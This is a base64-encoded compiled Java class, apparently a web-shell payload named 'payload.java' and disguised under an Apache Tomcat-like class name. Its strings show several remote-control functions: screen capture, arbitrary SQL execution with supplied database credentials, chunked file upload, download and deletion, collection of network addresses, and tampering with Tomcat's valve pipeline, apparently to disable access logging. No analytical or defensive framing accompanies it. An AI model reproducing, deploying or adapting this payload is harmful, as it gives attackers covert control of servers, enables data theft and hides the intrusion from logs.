ABShJSSlWCgOcA7cMA7gDuQEAE2NyZWF0ZVNjcmVlbkNhcHR1cmUBADQoTGphdmEvYXd0L1JlY3RhbmdsZTspTGphdmEvYXd0L2ltYWdlL0J1ZmZlcmVkSW1hZ2U7CAO7AQADcG5nCgO9A78HA74BABVqYXZheC9pbWFnZWlvL0ltYWdlSU8MA8ADwQEAF2NyZWF0ZUltYWdlT3V0cHV0U3RyZWFtAQA8KExqYXZhL2xhbmcvT2JqZWN0OylMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07CgO9A8MMAOkDxAEAWyhMamF2YS9hd3QvaW1hZ2UvUmVuZGVyZWRJbWFnZTtMamF2YS9sYW5nL1N0cmluZztMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07KVoBAAVyb2JvdAEAEExqYXZhL2F3dC9Sb2JvdDsBAAJhcwEAHkxqYXZhL2F3dC9pbWFnZS9CdWZmZXJlZEltYWdlOwEAAmJzAQAHZXhlY1NxbAEACkV4Y2VwdGlvbnMIA80BAAlkYkNoYXJzZXQIA88BAAZkYlR5cGUIA9EBAAZkYkhvc3QIA9MBAAZkYlBvcnQIA9UBAApkYlVzZXJuYW1lCAPXAQAKZGJQYXNzd29yZAgD2QEACGV4ZWNUeXBlCAPKCgB1A9wMACYD3QEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWCAPfAQAsY29tLm1pY3Jvc29mdC5zcWxzZXJ2ZXIuamRiYy5TUUxTZXJ2ZXJEcml2ZXIIA+EBAB9vcmFjbGUuamRiYy5kcml2ZXIuT3JhY2xlRHJpdmVyCAPjAQAYb3JhY2xlLmpkYmMuT3JhY2xlRHJpdmVyCAPlAQAYY29tLm15c3FsLmNqLmpkYmMuRHJpdmVyCAPnAQAVY29tLm15c3FsLmpkYmMuRHJpdmVyCAPpAQAVb3JnLnBvc3RncmVzcWwuRHJpdmVyCAPrAQAPb3JnLnNxbGl0ZS5KREJDCAPtAQAFbXlzcWwIA+8BAA1qZGJjOm15c3FsOi8vCAPxAQABOggD8wEAdT91c2VTU0w9ZmFsc2Umc2VydmVyVGltZXpvbmU9VVRDJnplcm9EYXRlVGltZUJlaGF2aW9yPWNvbnZlcnRUb051bGwmbm9EYXRldGltZVN0cmluZ1N5bmM9dHJ1ZSZjaGFyYWN0ZXJFbmNvZGluZz11dGYtOAgD9QEABm9yYWNsZQgD9wEAEmpkYmM6b3JhY2xlOnRoaW46QAgD+QEABTpvcmNsCAP7AQAJc3Fsc2VydmVyCAP9AQARamRiYzpzcWxzZXJ2ZXI6Ly8IA/8BAApwb3N0Z3Jlc3FsCAQBAQASamRiYzpwb3N0Z3Jlc3FsOi8vCAQDAQAGc3FsaXRlCAQFAQAMamRiYzpzcWxpdGU6CAQHAQAFamRiYzoKAAEECQwECgQLAQANZ2V0Q29ubmVjdGlvbgEATShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247CgQNBAkHBA4BABZqYXZhL3NxbC9Ecml2ZXJNYW5hZ2VyCwQQBBIHBBEBABNqYXZhL3NxbC9Db25uZWN0aW9uDAQTBBQBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7CAQWAQAGc2VsZWN0CAQYAQADb2sKCwQaBBwHBBsBABJqYXZhL3NxbC9TdGF0ZW1lbnQMBB0EHgEADGV4ZWN1dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsLBCAEIgcEIQEAEmphdmEvc3FsL1Jlc3VsdFNldAwEIwQkAQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsLBCYEKAcEJwEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhDAQpANcBAA5nZXRDb2x1bW5Db3VudAgEKwEAAiVzCwQmBC0MBC4BtwEADWdldENvbHVtbk5hbWUKAAEEMAwEMQBDAQAMYmFzZTY0RW5jb2RlCwQgBDMMBDQBtwEACWdldFN0cmluZwsEIAQ2DAOOAYULBCAAoQsEGgChCwQQAKELBBoEOwwEPAImAQANZXhlY3V0ZVVwZGF0ZQgEPgEAClF1ZXJ5IE9LLCAKAW4EQAwBegRBAQAbKEkpTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CARDAQAOIHJvd3MgYWZmZWN0ZWQIBEUBAANubyAIBEcBAAcgRGJ0eXBlCARJAQBITm8gcGFyYW1ldGVyIGRiVHlwZSxkYkhvc3QsZGJQb3J0LGRiVXNlcm5hbWUsZGJQYXNzd29yZCxleGVjVHlwZSxleGVjU3FsAQAHY2hhcnNldAEACmNvbm5lY3RVcmwBAAZkYkNvbm4BABVMamF2YS9zcWwvQ29ubmVjdGlvbjsBAAlzdGF0ZW1lbnQBABRMamF2YS9zcWwvU3RhdGVtZW50OwEACXJlc3VsdFNldAEAFExqYXZhL3NxbC9SZXN1bHRTZXQ7AQAIbWV0YURhdGEBABxMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAJY29sdW1uTnVtAQALYWZmZWN0ZWROdW0IBFcBAAppbnZhbGlkYXRlAQANYmlnRmlsZVVwbG9hZAgEWgEADGZpbGVDb250ZW50cwgEXAEACHBvc2l0aW9uCgH2BF4MACYEXwEAFihMamF2YS9sYW5nL1N0cmluZztaKVYHBGEBABhqYXZhL2lvL1JhbmRvbUFjY2Vzc0ZpbGUIBGMBAAJydwoEYARlDAAmBGYBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYKBGAEaAwEaQGqAQAEc2VlawoEYAFQCgRgAKEBABpMamF2YS9pby9SYW5kb21BY2Nlc3NGaWxlOwEAD2JpZ0ZpbGVEb3dubG9hZAgEbwEABG1vZGUIBHEBAAtyZWFkQnl0ZU51bQgEcwEACGZpbGVTaXplCgB1BHUMAYwEdgEAFShKKUxqYXZhL2xhbmcvU3RyaW5nOwgA1goBtAR5DAGMBHoBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvSW50ZWdlcjsKAbQEfAwEfQDXAQAIaW50VmFsdWUKAosAZwoCiwSADASBBIIBAARza2lwAQAEKEopSgoAAQSEDASFBIYBAAZjb3B5T2YBAAcoW0JJKVtCCASIAQAHbm8gbW9kZQEAEXJlYWRCeXRlTnVtU3RyaW5nAQAOcG9zaXRpb25TdHJpbmcBAAhyZWFkRGF0YQoEjQSPBwSOAQAOamF2YS9sYW5nL01hdGgMBJAEkQEAA21pbgEABShJSSlJAQAIb3JpZ2luYWwBAAluZXdMZW5ndGgBAAthcnJheU9mQnl0ZQgElgEADGphdmEudmVyc2lvbgoAdQSYDASZBJoBAAlzdWJzdHJpbmcBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7CQABBJwMABoAEwgEngEAEGphdmEubGFuZy5TeXN0ZW0IBKABAAZnZXRlbnYJAAEEogwAGwATCASkAQANamF2YS51dGlsLk1hcAEACmpyZVZlcnNpb24JAAEEpwwAHAATCASpAQAWamF2YS5zcWwuRHJpdmVyTWFuYWdlcgoATQSrDASsBK0BABFnZXREZWNsYXJlZEZpZWxkcwEAHCgpW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsKBK8BkgcEsAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkCASyAQAGcml2ZXJzCQABBLQMAB0AEwgEtgEADmphdmEudXRpbC5MaXN0CgSvBLgMBLkASwEAB2dldFR5cGUKBLsEvQcEvAEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QMBL4EvwEADXNldEFjY2Vzc2libGUBAAQoWilWCgSvAHwHBMIBAA5qYXZhL3V0aWwvTGlzdAsEwQOHCQABBMUMAB4AEwgExwEAD2phdmEuc3FsLkRyaXZlcgcEyQEAD2phdmEvc3FsL0RyaXZlcgcEywEAFGphdmEvdXRpbC9Qcm9wZXJ0aWVzCgTKACgIBM4BAAR1c2VyCgMpALoIBNEBAAhwYXNzd29yZAsEyATTDATUBNUBAAdjb25uZWN0AQA/KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL3V0aWwvUHJvcGVydGllczspTGphdmEvc3FsL0Nvbm5lY3Rpb247AQAIdXNlck5hbWUBAApjb25uZWN0aW9uAQAGZmllbGRzAQAaW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAdkcml2ZXJzAQAQTGphdmEvdXRpbC9MaXN0OwEABmRyaXZlcgEAEUxqYXZhL3NxbC9Ecml2ZXI7AQALZHJpdmVySW5mb3MBAApwcm9wZXJ0aWVzAQAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzOwoE5ATmBwTlAQAZamF2YS9uZXQvTmV0d29ya0ludGVyZmFjZQwE5wMtAQAUZ2V0TmV0d29ya0ludGVyZmFjZXMKBOQE6QwE6gMtAQAQZ2V0SW5ldEFkZHJlc3NlcwcE7AEAFGphdmEvbmV0L0luZXRBZGRyZXNzCgTrBO4MBO8AZQEADmdldEhvc3RBZGRyZXNzCwTBAvELBMEE8gwDAQTzAQAVKClbTGphdmEvbGFuZy9PYmplY3Q7CgJBBPUMAIgE9gEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmlwTGlzdAEAEW5ldHdvcmtJbnRlcmZhY2VzAQAQbmV0d29ya0ludGVyZmFjZQEAG0xqYXZhL25ldC9OZXR3b3JrSW50ZXJmYWNlOwEADWluZXRBZGRyZXNzZXMBAAtpbmV0QWRkcmVzcwEAFkxqYXZhL25ldC9JbmV0QWRkcmVzczsBAAJpcAgDUwgFAQEAG25vIG1ldGhvZCBnZXRSZWFsUGF0aE1ldGhvZAgFAwEAFnNlcnZsZXRDb250ZXh0IGlzIE51bGwBABFnZXRSZWFsUGF0aE1ldGhvZAEACXJldE9iamVjdAoBcQUHDAUIAYUBAAZkZWxldGUBAAFmAQABeAEAAmZzAQBLKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwUOAQASW0xqYXZhL2xhbmcvQ2xhc3M7AQATW0xqYXZhL2xhbmcvT2JqZWN0OwEAB2NsYXNzZXMBAAJvMQEADnBhcmFtZXRlckNsYXNzCgBNBRQMBRUAUQEAEWdldERlY2xhcmVkTWV0aG9kCgBNBRcMBRgASwEADWdldFN1cGVyY2xhc3MBAA1nZXRGaWVsZFZhbHVlAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsKAE0FHAwFHQUeAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEACWZpZWxkTmFtZQgFIQEAB2NvbnRleHQKAAEFIwwFGQUaCAUlAQAJZ2V0UGFyZW50CgABBScMAG8FDAgFKQEAC2dldFBpcGVsaW5lCAUrAQAIZ2V0Rmlyc3QIBS0BAAxnZXRDb25kaXRpb24IBS8BAAxzZXRDb25kaXRpb24IBTEBAAdGdWNrTG9nCAUzAQAHZ2V0TmV4dAgFNQEAGW9yZy5hcGFjaGUuY2F0YWxpbmEuVmFsdmUKAE0FNwwAXAU4AQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwEAEmFwcGxpY2F0aW9uQ29udGV4dAEACWNvbnRhaW5lcgEACWFycmF5TGlzdAEACHBpcGVsaW5lAQAFdmFsdmUBAAljb25kaXRpb24BABJzZXRBdHRyaWJ1dGVNZXRob2QBAARuYW1lAQAFYnl0ZXMKAAEFQwwEMQVEAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAA3NyYwEAA29mZgEAA2VuZAEAA2RzdAEAB2xpbmVtYXgBAAlkb1BhZGRpbmcBAAZiYXNlNjQBAAJzcAEABHNsZW4BAAJzbAEAAmRwAQADc2wwAQADc3AwAQADZHAwAQAEYml0cwEABGRsZW4BAAJiMAEAAmIxAQAMYmFzZTY0RGVjb2RlCgJBBVkMAkQFWgEABihbSUkpVgcFXAEAImphdmEvbGFuZy9JbGxlZ2FsQXJndW1lbnRFeGNlcHRpb24IBV4BAC1JbnB1dCBieXRlIGFycmF5IGhhcyB3cm9uZyA0LWJ5dGUgZW5kaW5nIHVuaXQKBVsAZwgFYQEAKUxhc3QgdW5pdCBkb2VzIG5vdCBoYXZlIGVub3VnaCB2YWxpZCBiaXRzAQAJYmFzZTY0U3RyAQAIcGFkZGluZ3MBAAJbSQEAB3NoaWZ0dG8BAApTb3VyY2VGaWxlAQAMcGF5bG9hZC5qYXZhAQAqb3JnL2FwYWNoZS9jb3lvdGUvaW50cm9zcGVjdC9Bbm5vdGF0aW9uTWFwAQAsTG9yZy9hcGFjaGUvY295b3RlL2ludHJvc3BlY3QvQW5ub3RhdGlvbk1hcDsAIQABAAMAAAATABkABQAGAAAAAAAHAAgAAAAAAAkACAAAAAAACgALAAAAAAAMAAsAAAAAAA0ACwAAAAAADgAPAAAAAAAQABEAAAAIABIAEwABABQAAAAAAAgAFQATAAEAFAAAAAAACAAWABMAAQAUAAAAAAAIABcAEwA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